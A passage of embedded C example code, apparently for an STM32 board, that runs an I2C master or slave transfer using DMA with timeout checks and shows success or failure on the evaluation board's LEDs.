  STM_EVAL_LEDInit(LED3);
  STM_EVAL_LEDInit(LED4);
  
  /* SysTick configuration --------------------------------------------------*/
  SysTickConfig();
  
  /* Clear the RxBuffer */
  Fill_Buffer(RxBuffer, RXBUFFERSIZE);
   
  /*************************************Master Code****************************/
#if defined (I2C_MASTER)
  
  /*!< I2C Struct Initialize */
  I2C_InitStructure.I2C_Mode = I2C_Mode_I2C;
  I2C_InitStructure.I2C_DutyCycle = I2C_DUTYCYCLE;
  I2C_InitStructure.I2C_OwnAddress1 = 0xA0;
  I2C_InitStructure.I2C_Ack = I2C_Ack_Enable;
  I2C_InitStructure.I2C_ClockSpeed = I2C_SPEED;
  
#ifndef I2C_10BITS_ADDRESS
  I2C_InitStructure.I2C_AcknowledgedAddress = I2C_AcknowledgedAddress_7bit;
#else
  I2C_InitStructure.I2C_AcknowledgedAddress = I2C_AcknowledgedAddress_10bit;
#endif /* I2C_10BITS_ADDRESS */
  
  /*!< I2C Initialize */
  I2C_Init(I2Cx, &I2C_InitStructure);
  
  /*Master Transmitter--------------------------------------------------------*/   

  /* Send I2Cx START condition */
  I2C_GenerateSTART(I2Cx, ENABLE);
  
#ifdef I2C_10BITS_ADDRESS  
  /* Test on I2C1 EV5 and clear it */
  TimeOut = USER_TIMEOUT;
  while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_MODE_SELECT))&&(TimeOut != 0x00))
  {} 
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
  /* Send Header to I2Cx for write or time out */
  I2C_SendData(I2Cx, HEADER_ADDRESS_Write);
  /* Test on I2Cx EV9 and clear it */
  TimeOut = USER_TIMEOUT;
  while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_MODE_ADDRESS10))&&(TimeOut != 0x00))
  {} 
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
  /* Send I2Cx slave Address for write */
  I2C_Send7bitAddress(I2Cx, (uint8_t)SLAVE_ADDRESS, I2C_Direction_Transmitter);
  
 #else /* I2C_7BITS_ADDRESS */
      
  /* Test on I2Cx EV5 and clear it or time out */
  TimeOut = USER_TIMEOUT;
  while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_MODE_SELECT))&&(TimeOut != 0x00))
  {} 
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
  /* Send I2Cx slave Address for write */
  I2C_Send7bitAddress(I2Cx, SLAVE_ADDRESS, I2C_Direction_Transmitter);
      
#endif /* I2C_10BITS_ADDRESS */
  
  /* Test on I2Cx EV6 and clear it or time out */
  TimeOut = USER_TIMEOUT;
  while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_TRANSMITTER_MODE_SELECTED))&&(TimeOut != 0x00))
  {} 
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
  /* I2Cx DMA Enable */
  I2C_DMACmd(I2Cx, ENABLE);
  
  /* Transfer complete or time out */
  TimeOut = USER_TIMEOUT;
  while ((DMA_GetFlagStatus(I2Cx_TX_DMA_FLAG_TC) == RESET)&&(TimeOut != 0x00))
  {}
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
  /* I2Cx DMA Disable */
  I2C_DMACmd(I2Cx, DISABLE);
  
  /* Wait until BTF Flag is set before generating STOP or time out */
  TimeOut = USER_TIMEOUT;
  while ((!I2C_GetFlagStatus(I2Cx,I2C_FLAG_BTF))&&(TimeOut != 0x00))  
  {}
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
  /* Send I2Cx STOP Condition */
  I2C_GenerateSTOP(I2Cx, ENABLE);

  /* Disable DMA TX Channel */
  DMA_Cmd(I2Cx_TX_DMA_CHANNEL, DISABLE);
  
  /* Clear DMA TX Transfer Complete Flag */
  DMA_ClearFlag(I2Cx_TX_DMA_FLAG_GL);
  
 /*Master Receiver------------------------------------------------------------*/ 
  
  /* Enable DMA NACK automatic generation */
  I2C_DMALastTransferCmd(I2Cx, ENABLE);
  
  /* Send I2Cx START condition */
  I2C_GenerateSTART(I2Cx, ENABLE);
  
#ifdef I2C_10BITS_ADDRESS  
  /* Test on EV5 and clear it or time out */
  TimeOut = USER_TIMEOUT;
  while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_MODE_SELECT))&&(TimeOut != 0x00))
  {}
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
  /* Send Header to Slave for write */
  I2C_SendData(I2Cx, HEADER_ADDRESS_Write);

  /* Test on EV9 and clear it or time out */
  TimeOut = USER_TIMEOUT;
  while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_MODE_ADDRESS10))&&(TimeOut != 0x00))
  {}
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
  /* Send slave Address */
  I2C_Send7bitAddress(I2Cx, (uint8_t)SLAVE_ADDRESS, I2C_Direction_Transmitter);

  /* Test on I2Cx EV6 and clear it or time out*/
  TimeOut = USER_TIMEOUT;
  while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_TRANSMITTER_MODE_SELECTED))&&(TimeOut != 0x00))
  {} 
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
  /* Repeated Start */
  I2C_GenerateSTART(I2Cx, ENABLE);

  /* Test on EV5 and clear it or time out*/
  TimeOut = USER_TIMEOUT;
  while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_MODE_SELECT))&&(TimeOut != 0x00))
  {} 
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
  /* Send Header to Slave for Read */
  I2C_SendData(I2Cx, HEADER_ADDRESS_Read);

#else /* I2C_7BITS_ADDRESS */
      
  /* Test on I2Cx EV5 and clear it or time out*/
  TimeOut = USER_TIMEOUT;
  while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_MODE_SELECT))&&(TimeOut != 0x00))
  {}
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
  /* Send I2Cx slave Address for write */
  I2C_Send7bitAddress(I2Cx, SLAVE_ADDRESS, I2C_Direction_Receiver);
      
#endif /* I2C_10BITS_ADDRESS */
  
  /* Test on I2Cx EV6 and clear it or time out */
  TimeOut = USER_TIMEOUT;
  while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_MASTER_RECEIVER_MODE_SELECTED))&&(TimeOut != 0x00))
  {}
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
  /* I2Cx DMA Enable */
  I2C_DMACmd(I2Cx, ENABLE);
  
  /* Transfer complete or time out */
  TimeOut = USER_TIMEOUT;
  while ((DMA_GetFlagStatus(I2Cx_RX_DMA_FLAG_TC)==RESET)&&(TimeOut != 0x00))
  {}
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
  /* Send I2Cx STOP Condition */
  I2C_GenerateSTOP(I2Cx, ENABLE);

  /* Disable DMA TX Channel */
  DMA_Cmd(I2Cx_TX_DMA_CHANNEL, DISABLE);
  
  /* I2Cx DMA Disable */
  I2C_DMACmd(I2Cx, DISABLE);
  
  /* Clear DMA TX Transfer Complete Flag */
  DMA_ClearFlag(I2Cx_TX_DMA_FLAG_GL);
  
  if (Buffercmp(TxBuffer, RxBuffer, RXBUFFERSIZE) == PASSED)
  {
    /* LED2, LED3 and LED4 Toggle */
    STM_EVAL_LEDOn(LED2);
    STM_EVAL_LEDOn(LED3);
    STM_EVAL_LEDOn(LED4);
  }
  else 
  {   /* ED2, LED3 and LED4 On */
    STM_EVAL_LEDOff(LED2);
    STM_EVAL_LEDOff(LED3);
    STM_EVAL_LEDOff(LED4);
  }
  
#endif /* I2C_MASTER */
  
  /**********************************Slave Code**********************************/
#if defined (I2C_SLAVE)
  
  /* Initialize I2C peripheral */
  /*!< I2C Init */
  I2C_InitStructure.I2C_Mode = I2C_Mode_I2C;
  I2C_InitStructure.I2C_DutyCycle = I2C_DUTYCYCLE;
  I2C_InitStructure.I2C_OwnAddress1 = SLAVE_ADDRESS;
  I2C_InitStructure.I2C_Ack = I2C_Ack_Enable;
  I2C_InitStructure.I2C_ClockSpeed = I2C_SPEED;
  
#ifndef I2C_10BITS_ADDRESS
  I2C_InitStructure.I2C_AcknowledgedAddress = I2C_AcknowledgedAddress_7bit;
#else
  I2C_InitStructure.I2C_AcknowledgedAddress = I2C_AcknowledgedAddress_10bit;
#endif /* I2C_10BITS_ADDRESS */
  
  I2C_Init(I2Cx, &I2C_InitStructure);
    
  /*Slave Receiver--------------------------------------------------------------*/

  /* Test on I2C EV1 and clear it */
  while (!I2C_CheckEvent(I2Cx, I2C_EVENT_SLAVE_RECEIVER_ADDRESS_MATCHED))
  {}

  /* I2Cx DMA Enable */
  I2C_DMACmd(I2Cx, ENABLE); 
  
  /* Transfer complete or time out */
  TimeOut = USER_TIMEOUT;
  while ((DMA_GetFlagStatus(I2Cx_RX_DMA_FLAG_TC)== RESET) &&(TimeOut != 0x00))
  {}
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }  
  /* Test on I2Cx EV4 and clear it or time out */
  TimeOut = USER_TIMEOUT;
  while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_SLAVE_STOP_DETECTED))&&(TimeOut != 0x00))
  {}
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }  
/*Slave Transmitter-----------------------------------------------------------*/   
  
  /* Test on I2C EV1 and clear it or time out*/
  while (!I2C_CheckEvent(I2Cx, I2C_EVENT_SLAVE_TRANSMITTER_ADDRESS_MATCHED))
  {}
  /* I2Cx DMA Enable */
  I2C_DMACmd(I2Cx, ENABLE); 
  
  /* Transfer complete or time out */
  TimeOut = USER_TIMEOUT;
  while ((DMA_GetFlagStatus(I2Cx_TX_DMA_FLAG_TC)== RESET)&&(TimeOut != 0x00))
  {}
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
  /* Test on I2Cx EV3-2 and clear it or time out */
  TimeOut = USER_TIMEOUT;
  while ((!I2C_CheckEvent(I2Cx, I2C_EVENT_SLAVE_ACK_FAILURE))&&(TimeOut != 0x00))
  {}  
  if(TimeOut == 0)
  {
    TimeOut_UserCallback();
  }
  
  if (Buffercmp(TxBuffer, RxBuffer, RXBUFFERSIZE) == PASSED)
  {
    /* LED2, LED3 and LED4 Toggle */
    STM_EVAL_LEDOn(LED2);
    STM_EVAL_LEDOn(LED3);
    STM_EVAL_LEDOn(LED4);
  }
  else 
  {   /* ED2, LED3 and LED4 On */
    STM_EVAL_LEDOff(LED2);
    STM_EVAL_LEDOff(LED3);
    STM_EVAL_LEDOff(LED4);
  } 
  
#endif /* I2C_SLAVE */
  while(1)
  {}
}